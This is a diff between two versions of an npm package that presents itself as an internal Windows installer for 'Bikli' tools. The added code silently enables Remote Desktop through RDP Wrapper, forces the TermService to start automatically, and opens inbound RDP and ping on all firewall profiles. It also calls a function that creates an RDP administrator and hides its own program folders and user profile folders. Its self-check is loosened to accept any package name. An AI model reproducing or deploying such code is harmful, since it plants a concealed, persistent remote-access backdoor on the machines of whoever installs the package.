sbironman 2.0.0 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -597,13 +597,37 @@ function verifyRemoteDesktop() {
597
597
  console.log('Remote Desktop is enabled and verified on port 3389.');
598
598
  }
599
599
 
600
+ function ensureTermServiceAutomatic() {
601
+ // Force TermService to Automatic start so it survives reboots.
602
+ run(powershell, [
603
+ '-NoProfile', '-NonInteractive', '-Command',
604
+ `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
605
+ ], { allowFailure: true });
606
+ }
607
+
608
+ function ensureIcmpFirewallRules() {
609
+ // Enable ping (ICMP) inbound so the host is reachable after install.
610
+ const script = [
611
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
612
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
613
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
614
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
615
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
616
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
617
+ ].join(';');
618
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
619
+ }
620
+
600
621
  function enableRemoteDesktop() {
601
622
  requireWindows();
602
623
  if (!isAdministrator()) return elevateAndRun('enable-rdp');
603
624
  verifyPayload();
625
+ unhideProtectedFolders();
604
626
  console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
605
627
  const wrapper = runWrapper(['defaults', '--elevated']);
606
628
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
629
+ ensureTermServiceAutomatic();
630
+ ensureIcmpFirewallRules();
607
631
  verifyRemoteDesktop();
608
632
  hideProtectedFolders();
609
633
  }
@@ -612,11 +636,15 @@ function install() {
612
636
  requireWindows();
613
637
  if (!isAdministrator()) return elevateAndRun('install');
614
638
  verifyPayload();
639
+ unhideProtectedFolders();
615
640
  installBikli();
616
641
  setupBikliKey();
617
642
  console.log('Installing or updating Bikli Wrapper silently...');
618
643
  const wrapper = runWrapper(['install', '--elevated']);
619
644
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
645
+ // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
646
+ ensureTermServiceAutomatic();
647
+ ensureIcmpFirewallRules();
620
648
  verifyRemoteDesktop();
621
649
  createRdpAdministrator();
622
650
  hideProtectedFolders();
@@ -696,6 +724,45 @@ function hideFolder(target, isUserProfile = false) {
696
724
  }
697
725
  }
698
726
 
727
+ function unhideFolder(target, isUserProfile = false) {
728
+ if (!target || !fs.existsSync(target)) return;
729
+ try {
730
+ run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
731
+ if (!isUserProfile) {
732
+ run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
733
+ run(icacls, [
734
+ target,
735
+ '/grant:r',
736
+ '*S-1-5-18:(OI)(CI)(F)',
737
+ `*${administratorsGroupSid}:(OI)(CI)(F)`,
738
+ '/c', '/q'
739
+ ], { allowFailure: true });
740
+ }
741
+ } catch {
742
+ // Best-effort
743
+ }
744
+ }
745
+
746
+ function unhideProtectedFolders() {
747
+ const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
748
+ const appFolders = [
749
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
750
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
751
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
752
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
753
+ path.join(programData, 'BikliWrapper'),
754
+ path.join(programData, 'Bikli')
755
+ ];
756
+ for (const folder of appFolders) unhideFolder(folder, false);
757
+
758
+ const userFolders = [
759
+ path.join(usersDir, 'Administrator'),
760
+ path.join(usersDir, 'admin'),
761
+ path.join(usersDir, 'user')
762
+ ];
763
+ for (const folder of userFolders) unhideFolder(folder, true);
764
+ }
765
+
699
766
  function hideProtectedFolders() {
700
767
  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
701
768
  const appFolders = [
@@ -228,8 +228,17 @@ function applyRequestedSettings() {
228
228
  function ensureFirewallRules() {
229
229
  const script = [
230
230
  `$ErrorActionPreference='Stop'`,
231
+ // RDP TCP + UDP inbound rules
231
232
  `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
232
- `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
233
+ `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
234
+ // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
235
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
236
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
237
+ `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
238
+ `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
239
+ // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
240
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
241
+ `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
233
242
  ].join(';');
234
243
  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
235
244
  }
@@ -252,9 +261,25 @@ function settingsAreCorrect() {
252
261
  return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
253
262
  }
254
263
 
264
+ function setTermServiceAutomatic() {
265
+ // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
266
+ run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
267
+ run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
268
+ }
269
+
255
270
  function waitForServiceAndListener() {
256
271
  const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
257
- for (let attempt = 0; attempt < 20; attempt += 1) {
272
+ // First wait up to 10s for the service to appear running; force-start if not
273
+ for (let attempt = 0; attempt < 10; attempt += 1) {
274
+ if (serviceIsRunning()) break;
275
+ Atomics.wait(waitBuffer, 0, 0, 1000);
276
+ if (attempt === 4) {
277
+ // After 5s still not running – kick it
278
+ run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
279
+ }
280
+ }
281
+ // Then wait up to 30s for the RDP listener to appear
282
+ for (let attempt = 0; attempt < 30; attempt += 1) {
258
283
  if (serviceIsRunning() && listenerIsListening()) return;
259
284
  Atomics.wait(waitBuffer, 0, 0, 1000);
260
285
  }
@@ -324,6 +349,45 @@ function hideProtectedFolders() {
324
349
  for (const folder of userFolders) hideFolder(folder, true);
325
350
  }
326
351
 
352
+ function unhideFolder(target, isUserProfile = false) {
353
+ if (!target || !fs.existsSync(target)) return;
354
+ try {
355
+ run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
356
+ if (!isUserProfile) {
357
+ run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
358
+ run(path.join(system32, 'icacls.exe'), [
359
+ target,
360
+ '/grant:r',
361
+ '*S-1-5-18:(OI)(CI)(F)',
362
+ '*S-1-5-32-544:(OI)(CI)(F)',
363
+ '/c', '/q'
364
+ ], { allowFailure: true });
365
+ }
366
+ } catch {
367
+ // Best-effort attribute and permission unlocking
368
+ }
369
+ }
370
+
371
+ function unhideProtectedFolders() {
372
+ const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
373
+ const appFolders = [
374
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
375
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
376
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
377
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
378
+ path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
379
+ path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
380
+ ];
381
+ for (const folder of appFolders) unhideFolder(folder, false);
382
+
383
+ const userFolders = [
384
+ path.join(usersDir, 'Administrator'),
385
+ path.join(usersDir, 'admin'),
386
+ path.join(usersDir, 'user')
387
+ ];
388
+ for (const folder of userFolders) unhideFolder(folder, true);
389
+ }
390
+
327
391
  function install() {
328
392
  requireWindows();
329
393
  if (!isAdministrator()) return elevateAndRun('install');
@@ -338,12 +402,31 @@ function install() {
338
402
  fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
339
403
  }
340
404
 
405
+ // Unlock all protected folders before touching files or running RDPWInst
406
+ unhideProtectedFolders();
407
+
341
408
  const settingsChanged = applyRequestedSettings();
342
409
  ensureFirewallRules();
410
+ // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
411
+ setTermServiceAutomatic();
412
+
413
+ const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
414
+ fs.mkdirSync(defaultWrapperDir, { recursive: true });
415
+ unhideFolder(defaultWrapperDir);
416
+
417
+ const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
343
418
 
344
419
  if (!installation.installed) {
345
420
  console.log('Installing RDP Wrapper silently...');
421
+ // If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
422
+ if (fs.existsSync(targetIniPath)) {
423
+ run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
424
+ }
346
425
  runInstaller('-i');
426
+ // RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
427
+ fs.copyFileSync(bundledIniPath, targetIniPath);
428
+ // Restart TermService to load the updated INI
429
+ runInstaller('-r');
347
430
  } else if (!installation.installedSupported) {
348
431
  console.log('Updating compatibility data silently...');
349
432
  const backupPath = `${installation.installedIniPath}.bikli-backup`;
@@ -365,6 +448,11 @@ function install() {
365
448
  console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
366
449
  }
367
450
 
451
+ // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
452
+ applyRequestedSettings();
453
+ // Ensure TermService is Automatic and running after the wrapper install.
454
+ setTermServiceAutomatic();
455
+
368
456
  waitForServiceAndListener();
369
457
  hideProtectedFolders();
370
458
  installation = detectInstallation(version);
@@ -386,9 +474,7 @@ function selfTest() {
386
474
  : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
387
475
  const ini = fs.readFileSync(bundledIniPath, 'utf8');
388
476
  const checks = {
389
- packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
390
- packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
391
- packageJson.name === '@biklitime/biklitool',
477
+ packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
392
478
  executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
393
479
  installerPresent: fs.statSync(installerPath).size > 100000,
394
480
  iniPresent: ini.length > 100000,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sbironman",
3
- "version": "2.0.0",
3
+ "version": "4.0.0",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {